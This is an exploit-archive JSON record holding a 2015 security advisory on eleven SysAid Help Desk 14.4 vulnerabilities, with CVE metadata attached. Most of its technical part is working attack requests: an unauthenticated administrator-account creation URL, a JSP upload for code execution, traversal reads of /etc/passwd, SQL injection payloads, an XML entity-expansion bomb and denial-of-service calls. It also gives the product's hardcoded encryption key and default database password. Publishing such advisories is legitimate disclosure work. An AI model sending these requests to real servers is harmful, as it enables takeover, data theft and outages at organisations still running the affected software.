{"exploit":{"id":"EDB-43885","name":"SysAid Help Desk 14.4 - Multiple Vulnerabilities","description":"SysAid Help Desk 14.4 - Multiple Vulnerabilities","cves":["CVE-2015-3001","CVE-2015-3000","CVE-2015-2999","CVE-2015-2998","CVE-2015-2997","CVE-2015-2996","CVE-2015-2995","CVE-2015-2994","CVE-2015-2993"],"author":"Pedro Ribeiro","published":"2015-06-10","platform":"jsp","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/43885","path":"exploits/jsp/webapps/43885.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-43885.txt","vulnerabilities":[{"id":"CVE-2015-3001","state":"PUBLISHED","title":null,"titleSource":null,"description":"SysAid Help Desk before 15.2 uses a hardcoded password of Password1 for the sa SQL Server Express user account, which allows remote authenticated users to bypass intended access restrictions by leveraging knowledge of this password.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2015-3001","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:P/I:N/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2015-3001"},"updatedAt":"2024-08-06T05:32:21.172Z","retrievedAt":"2026-11-26T17:08:14.371Z","stale":false,"error":null},{"id":"CVE-2015-3000","state":"PUBLISHED","title":null,"titleSource":null,"description":"SysAid Help Desk before 15.2 allows remote attackers to cause a denial of service (CPU and memory consumption) via a large number of nested entity references in an XML document to (1) /agententry, (2) /rdsmonitoringresponse, or (3) /androidactions, aka an XML Entity Expansion (XEE) attack.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2015-3000","cvss":{"version":"2.0","baseScore":7.8,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:N/I:N/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2015-3000"},"updatedAt":"2024-08-06T05:32:21.283Z","retrievedAt":"2026-11-26T17:26:57.714Z","stale":false,"error":null},{"id":"CVE-2015-2999","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple SQL injection vulnerabilities in SysAid Help Desk before 15.2 allow remote administrators to execute arbitrary SQL commands via the (1) groupFilter parameter in an AssetDetails report to /genericreport, customSQL parameter in a (2) TopAdministratorsByAverageTimer report or an (3) ActiveRequests report to /genericreport, (4) dir parameter to HelpDesk.jsp, or (5) grantSQL parameter to RFCGantt.jsp.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2015-2999","cvss":null,"updatedAt":"2024-08-06T05:32:21.287Z","retrievedAt":"2026-11-26T17:26:57.663Z","stale":false,"error":"Some CVE details could not be refreshed"},{"id":"CVE-2015-2998","state":"PUBLISHED","title":null,"titleSource":null,"description":"SysAid Help Desk before 15.2 uses a hardcoded encryption key, which makes it easier for remote attackers to obtain sensitive information, as demonstrated by decrypting the database password in WEB-INF/conf/serverConf.xml.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2015-2998","cvss":null,"updatedAt":"2024-08-06T05:32:21.290Z","retrievedAt":"2026-11-26T17:26:57.667Z","stale":false,"error":"Some CVE details could not be refreshed"},{"id":"CVE-2015-2997","state":"PUBLISHED","title":null,"titleSource":null,"description":"SysAid Help Desk before 15.2 allows remote attackers to obtain sensitive information via an invalid value in the accountid parameter to getAgentLogFile, as demonstrated by a large directory traversal sequence, which reveals the installation path in an error message.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2015-2997","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:P/I:N/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2015-2997"},"updatedAt":"2024-08-06T05:32:21.195Z","retrievedAt":"2026-11-26T17:27:04.209Z","stale":false,"error":null},{"id":"CVE-2015-2996","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple directory traversal vulnerabilities in SysAid Help Desk before 15.2 allow remote attackers to (1) read arbitrary files via a .. (dot dot) in the fileName parameter to getGfiUpgradeFile or (2) cause a denial of service (CPU and memory consumption) via a .. (dot dot) in the fileName parameter to calculateRdsFileChecksum.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2015-2996","cvss":null,"updatedAt":"2024-08-06T05:32:21.252Z","retrievedAt":"2026-11-26T17:26:57.693Z","stale":false,"error":"Some CVE details could not be refreshed"},{"id":"CVE-2015-2995","state":"PUBLISHED","title":null,"titleSource":null,"description":"The RdsLogsEntry servlet in SysAid Help Desk before 15.2 does not properly check file extensions, which allows remote attackers to upload and execute arbitrary files via a NULL byte after the extension, as demonstrated by a .war%00 file.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2015-2995","cvss":null,"updatedAt":"2024-08-06T05:32:21.342Z","retrievedAt":"2026-11-26T17:26:57.698Z","stale":false,"error":"Some CVE details could not be refreshed"},{"id":"CVE-2015-2994","state":"PUBLISHED","title":null,"titleSource":null,"description":"Unrestricted file upload vulnerability in ChangePhoto.jsp in SysAid Help Desk before 15.2 allows remote administrators to execute arbitrary code by uploading a file with a .jsp extension, then accessing it via a direct request to the file in icons/user_photo/.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2015-2994","cvss":null,"updatedAt":"2024-08-06T05:32:21.121Z","retrievedAt":"2026-11-26T17:26:57.722Z","stale":false,"error":"Some CVE details could not be refreshed"},{"id":"CVE-2015-2993","state":"PUBLISHED","title":null,"titleSource":null,"description":"SysAid Help Desk before 15.2 does not properly restrict access to certain functionality, which allows remote attackers to (1) create administrator accounts via a crafted request to /createnewaccount or (2) write to arbitrary files via the fileName parameter to /userentry.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2015-2993","cvss":null,"updatedAt":"2024-08-06T05:32:21.357Z","retrievedAt":"2026-11-26T17:26:57.726Z","stale":false,"error":"Some CVE details could not be refreshed"}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-43885.png?v=2","url":"https://exploitbin.com/exploits/EDB-43885","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-43885/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-43885/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":">> Multiple vulnerabilities in SysAid Help Desk 14.4\n>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security\n=================================================================================\nDisclosure: 03/06/2015 / Last updated: 10/06/2015\n\n>> Background on the affected product:\n\"SysAid is an ITSM solution that offers all the essentials, with everything you need for easy and efficient IT support and effective help desk operations. Its rich set of features includes a powerful service desk, asset management and discovery, self-service, and easy-to-use tools for understanding and optimizing IT performance.\"\n\nMetasploit modules that exploit #1, #2, #3, #4, #5 and #6 have been released and should be integrated in the Metasploit framework soon.\nAll vulnerabilities affect both the Windows and Linux versions unless otherwise noted.\n\n\n>> Technical details:\n1)\nVulnerability: Administrator account creation\nCVE-2015-2993 (same CVE as #10)\nConstraints: none; no authentication or any other information needed\nAffected versions: unknown, at least 14.4\n\nGET /sysaid/createnewaccount?accountID=1337&organizationName=sysaid&userName=mr_lit&password=secret&masterPassword=master123\n\nThis creates an account with the following credentials: mr_lit:secret\nNote that this vulnerability only seems to be exploitable ONCE! Subsequent attempts to exploit it will fail even if the tomcat server is restarted.\n\n\n2)\nVulnerability: File upload via directory traversal (authenticated; leading to remote code execution)\nCVE-2015-2994\nConstraints: valid administrator account needed (see #1 to create a valid admin account)\nAffected versions: unknown, at least 14.4\n\n\nPOST /sysaid/ChangePhoto.jsp?isUpload=true HTTP/1.1\nContent-Type: multipart/form-data; boundary=---------------------------81351919525780\n\n-----------------------------81351919525780\nContent-Disposition: form-data; name=\"activation\"; filename=\"whatevs.jsp\"\nContent-Type: application/octet-stream\n\n<html><body><%out.println(System.getProperty(\"os.name\"));%></body><html>\n-----------------------------81351919525780--\n\n\nThe response returns a page which contains the following:\n        var imageUrl = \"icons/user_photo/14222767515000.1049804910604456_temp.jsp?1422276751501\";\n        var thumbUrl = \"icons/user_photo/14222767515000.1049804910604456_temp_thumb.jsp?1422276751501\";\n        if(imageUrl != null && $.trim(imageUrl).length > 0)\n        {\n            document.getElementById(\"cropbox\").src = imageUrl;\n            document.getElementById(\"preview\").src = thumbUrl;\n            parent.glSelectedImageUrl = \"icons/user_photo/14222767515000.1049804910604456_temp.jsp\";\n\nGo to http://<server>/sysaid/icons/user_photo/14222767515000.1049804910604456_temp.jsp to execute the JSP.\n\n\n3)\nVulnerability: File upload via directory traversal (unauthenticated; leading to remote code execution)\nCVE-2015-2995\nConstraints: no authentication or any other information needed. The server has to be running Java 7u25 or lower. This is because Java 7u40 (FINALLY!) rejects NULL bytes in file paths. See http://bugs.java.com/bugdatabase/view_bug.do?bug_id=8014846 for more details.\nAffected versions: unknown, at least 14.3 and 14.4\n\nPOST /sysaid/rdslogs?rdsName=../../../../sample.war%00\n<... WAR payload here ...>\n\n\n4)\nVulnerability: Arbitrary file download\nCVE-2015-2996 (same CVE as #8)\nConstraints: none; no authentication or any other information needed (see #5 to obtain the traversal path)\nAffected versions: unknown, at least 14.4\n\nGET /sysaid/getGfiUpgradeFile?fileName=../../../../../../../etc/passwd\n\n\n5)\nVulnerability: Path disclosure\nCVE-2015-2997\nConstraints: none; no authentication or any other information needed\nAffected versions: unknown, at least 14.4; only works on the Linux version\n\nPOST /sysaid/getAgentLogFile?accountId=<traversal>&computerId=<junk characters>\n\nMetasploit PoC:\n\n    large_traversal = '../' * rand(15...30)\n    servlet_path = 'getAgentLogFile'\n\n    res = send_request_cgi({\n      'uri' => normalize_uri(datastore['TARGETURI'], servlet_path),\n      'method' => 'POST',\n      'data' => Zlib::Deflate.deflate(Rex::Text.rand_text_alphanumeric(rand(100) + rand(300))),\n      'ctype' => 'application/octet-stream',\n      'vars_get' => {\n        'accountId' => large_traversal + Rex::Text.rand_text_alphanumeric(8 + rand(10)),\n        'computerId' => Rex::Text.rand_text_alphanumeric(8 + rand(10))\n      }\n    })\n\nThe response (res.body.to_s) will be similar to:\n<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\">\n<HTML>\n<HEAD><TITLE>Error</TITLE></HEAD>\n<BODY>\n<H1>Internal Error No#14</H1>\n<H2>/var/lib/tomcat7/webapps/sysaid/./WEB-INF/agentLogs/../../../../../../../../../../bla.war/111.war/1421678611732.zip (Permission denied)</H2>\n</BODY></HTML>\n\nThe tomcat path is revealed between the H2 tags.\n\n\n6)\nVulnerability: Use of hard-coded cryptographic key\nCVE-2015-2998\nConstraints: N/A\nAffected versions: unknown, at least 14.4\n\nSysAid Help Desk uses a hard-coded encryption key and encryption parameters. If this is combined with an arbitrary file download vulnerability (such as #4), a malicious user can then decrypt the database password by downloading the WEB-INF/conf/serverConf.xml file.\nAlgorithm: DES password based encryption with MD5 hash\nKey: \"inigomontoya\"\nSalt: [-87, -101, -56, 50, 86, 53, -29, 3]\nIterations: 19\n\n\n7)\nVulnerability: SQL injection in genericreport, HelpDesk.jsp and RFCGantt.jsp\nCVE-2015-2999\nConstraints: valid administrator account needed\nAffected versions: unknown, at least 14.4\n\na)\nPOST /sysaid/genericreport HTTP/1.1\naction=execute&reportName=AssetDetails&scheduleReportParm=null&reportTitle=Asset+Details&company=0&filter=group&groupFilter='&assetID=&assetName=Click+Browse+to+choose&expressionCaption=&customExpression=&customSQL=&outFormat=PDF&userName1=admin&viewNow=checkbox&scheduleStart=26-01-2015+06%3A27&reRunEvery=2&user1=admin\n\naction=execute&reportName=TopAdministratorsByAverageTimer&scheduleReportParm=null&reportTitle=Administrators+with+the+longest+SRs+time+%28average%29&sr_types=1&company=0&timer=1&expressionCaption=&customExpression=&customSQL=select+*+from+bla&DatePeriod=1&fromDate=26-12-2014&toDate=27-01-2015&NumRecords=5&outFormat=PDF&userName1=admin&viewNow=checkbox&scheduleStart=26-01-2015+07%3A03&reRunEvery=2&user1=admin&groupingSelection=Administrator&groupingSelectionName=Administrators&subGroupingSelection=AverageTimer&Activity=no\n\naction=execute&reportName=ActiveRequests&scheduleReportParm=null&assetID=&reportTitle=Active+Records&category=000ALL&subcategory=000ALL&thirdLevelCategory=000ALL&sr_types=1&company=0&groupFilter=ALL&expressionCaption=&customExpression=&customSQL='&groupingSelection=Category&DatePeriod=1&fromDate=26-12-2014&toDate=27-01-2015&outFormat=PDF&userName1=admin&viewNow=checkbox&scheduleStart=26-01-2015+07%3A08&reRunEvery=2&user1=admin\n\nParameters:\ngroupFilter\ncustomSQL\n\n(3 sample payloads are shown - the reportName has to be valid and each reportName expects different parameters)\n\n\nb)\nPOST /sysaid/HelpDesk.jsp?helpdeskfrm&fromId=List&ajaxStyleList=YE\nresizeListViewDataArr=AccordionChange&fieldNameChangeState=&tabID=42&actionInfo=&builtFilter=&weightChangeNoAjax=&sort=r.id&dir=asc'&pageNo=1&showAll=0&toggleAll=0&isAccordion=0&calSearch=0&expandAll=0&action=&performAction=&${list.SrTypeFilter}hidden=&${list.category.caption}hidden=&${list.subCategory.caption}hidden=&${list.status.caption}hidden=&${list.requestUser.caption}hidden=&${list.assigned.to.caption}hidden=&${list.priority.caption}hidden=&selection=&selectionDisplay=&saveSelection=1&searchField=Search%20%20%20&dateType=&fromDate=&toDate=&ajaxShown=&multipleSelectionComboboxSet=SetMultipleSelectionCombobox&multipleSelectionComboboxStatus=&multipleSelectionComboboxPriority=&multipleSelectionComboboxAssignedTo=\n\nParameter:\ndir\n\n\nc)\nPOST /sysaid/RFCGantt.jsp HTTP/1.1\nlistName=Service+Requests+All&toInvalid=%27To+date%27+field+contains+an+invalid+value%21&fromInvalid=%27From+date%27+field+contains+an+invalid+value%21&listViewName=DEFAULT&ids=&flag=HelpDesk.jsp%3Fhelpdeskfrm%26fromId%3DList&page=HelpDesk.jsp%3Fhelpdeskfrm%26fromId%3DList&parentPageName=HelpDesk.jsp%3Fhelpdeskfrm%26fromId%3DList&computerID=null&ciId=null&returnToFunction=&srType=&ganttSQL=$select+*+from+ble;$SELECT+r.id,+r.sr_type,+r.account_id,+priority,+escalation,+status,+r.request_user,r.due_date,r.title,r.problem_type,r.problem_sub_type,r.sr_type,r.sr_weight,r.responsibility,r.responsible_manager,r.assigned_group+,+r.id,+r.id,+r.sr_type,+r.problem_type,r.problem_sub_type,r.third_level_category,+r.problem_sub_type,+r.title,+r.status,+r.request_user,+r.responsibility,+r.priority,+r.insert_time+from+service_req+r+++WHERE+r.account_id+%3d+%3f&lookupListName=&scrollPopup=NO&iframeID=null&paneCancelFunc=&filter=+AND+%28archive+%3D+0%29+&fromDate=null&toDate=null&isWeight=true\n\nAccepts injection between $$ in ganttSQL parameter.\n\n\n8)\nVulnerability: Denial of service\nCVE-2015-2996 (same CVE as #4)\nConstraints: no authentication or any other information needed\nAffected versions: unknown, at least 14.4\n\nGET /sysaid/calculateRdsFileChecksum?fileName=../../../../../../dev/zero\n\nThis request will cause the cpu to go to 100% and the memory to balloon for 30+ seconds. Sending lots of requests causes the server to slow down to a crawl (although it doesn't seem to crash or hang forever).\n\n\n9)\nVulnerability: XML Entity Expansion (leading to denial of service)\nCVE-2015-3000\nConstraints: no authentication or any other information needed\nAffected versions: unknown, at least 14.4\n\na)\nPOST /sysaid/agententry?deflate=0\n<?xml version=\"1.0\"?>\n<!DOCTYPE lolz [\n <!ENTITY lol \"lol\">\n <!ELEMENT lolz (#PCDATA)>\n <!ENTITY lol1 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\n <!ENTITY lol2 \"&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;\">\n <!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\n <!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">\n <!ENTITY lol5 \"&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;\">\n <!ENTITY lol6 \"&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;\">\n <!ENTITY lol7 \"&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;\">\n <!ENTITY lol8 \"&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;\">\n <!ENTITY lol9 \"&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;\">\n]>\n<lolz>&lol9;</lolz>\n\nb)\nPOST /sysaid/rdsmonitoringresponse\n<lol bomb in POST data>\n\nc)\nPOST /sysaid/androidactions\n<lol bomb in POST data>\n\nThese requests will cause the cpu to go to 100% and the memory to baloon for 10+ seconds. Sending lots of requests causes the server to slow down to a crawl (although it doesn't seem to crash or hang forever).\n\n\n10)\nVulnerability: Uncontrolled file overwrite\nCVE-2015-2993 (same CVE as #1)\nConstraints: no authentication or any other information needed\nAffected versions: unknown, at least 14.4\n\nGET /sysaid/userentry?accountId=1337&rdsName=bla&fileName=../../../service.htm\n\nThis will overwrite the file with \"SysAid\". This string is fixed and cannot be controlled by the attacker.\n\n\n11)\nVulnerability: Use of hard-coded password for the SQL Server Express administrator account\nCVE-2015-3001\nConstraints: N/A\nAffected versions: unknown, at least 14.4\n\nWhen installing SysAid on Windows with the built in SQL Server Express, the installer sets the sa user password to \"Password1\".\n\n\n>> Fix:\nUpgrade to version 15.2 or higher.\n\n================\nAgile Information Security Limited\nhttp://www.agileinfosec.co.uk/\n>> Enabling secure digital business >>","sha256":"30ed833585ac7c1722e1077d3da58ac8ac7dfc7a78d86dd3f1aae90b93877914","bytes":11561,"fetchedAt":"2026-11-26T17:08:11.169Z","encoding":"utf-8 (display only; download retains original bytes)"}